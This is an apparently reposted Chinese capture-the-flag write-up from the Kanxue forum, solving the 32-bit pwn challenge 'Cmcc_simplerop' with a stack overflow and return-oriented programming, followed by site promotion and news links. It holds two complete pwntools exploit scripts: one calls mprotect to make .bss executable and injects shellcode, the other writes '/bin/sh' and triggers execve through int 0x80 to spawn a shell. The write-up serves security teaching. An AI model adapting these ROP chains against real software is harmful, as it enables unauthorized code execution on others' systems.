CTF实战练习Cmcc_simplerop

本文为看雪论坛优秀文章
看雪论坛作者ID:N1co5in3
一
题目复现


主函数可溢出:
存在mprotect,可以改变bss权限后,在bss写入shell代码。
存在int 0x80,可以调整寄存器利用中断执行sh。
因此本题有两种思路。
二
解题思路
方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码。
方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数。
三
调试过程


执行完函数需要pop3执行后面的函数,都可以用。

int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省。





gdb断点应该更直观。
得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同。

四
Payload
from pwn import *context.log_level = 'debug'context.arch = 'i386'io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50#pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850#int80_addr = 0x80493e1binsh_addr = 0x80eaf80mprotect_addr = 0x806d870#binsh_addr = 0x80eb584payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)payload += p32(binsh_addr)io.sendlineafter('it',payload)sleep(0.2)payload2 = asm(shellcraft.sh())io.sendline(payload2)io.interactive()
from pwn import *context.log_level = 'debug'context.arch = 'i386'io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850pop_ebx = 0x80481c9int80_addr = 0x80493e1binsh_addr = 0x80eaf80#binsh_addr = 0x80eb584payload = b'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)io.sendline(payload)io.sendline(b'/bin/sh\x00')io.interactive()
五
未解决问题
希望有师傅可以交流解决上述问题!
看雪ID:N1co5in3
https://bbs.pediy.com/user-home-945391.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号随时掌握互联网精彩
- 华为正式开源UCM技术:最大提升22倍 AI推理性能跃升
- 飞牛OS新增iSCSI可以挂载为系统本地磁盘 较WebDAV提供更多功能和更好的性能
- 研究人员公布开源压缩工具7-Zip路径遍历漏洞的PoC 相关攻击可能很快就会增多
- WeKnora腾讯刚开源5天的知识库!打通多模态文档-召回-生成全流程构建自主知识引擎
- One-API被植入挖矿软件 请用户及时检查服务器
- SwarmGo:一个用于构建可扩展 AI Agent工作流的Go模块化框架
- 程序员该如何处理遗留软件?
- 华为云发布代码检查服务;微软向其美国雇员提供“无限制”休假时间;付费版 ChatGPT|极客头条
- “代码写的越急,程序跑的越慢”
- Linux 的致命弱点是什么?Fedora项目负责人现身说法
- 在Z|东巽科技(30K/月)、国信证券诚招各类网络安全岗人才
- 这些音频技术新趋势,你get到了吗?
赞助链接



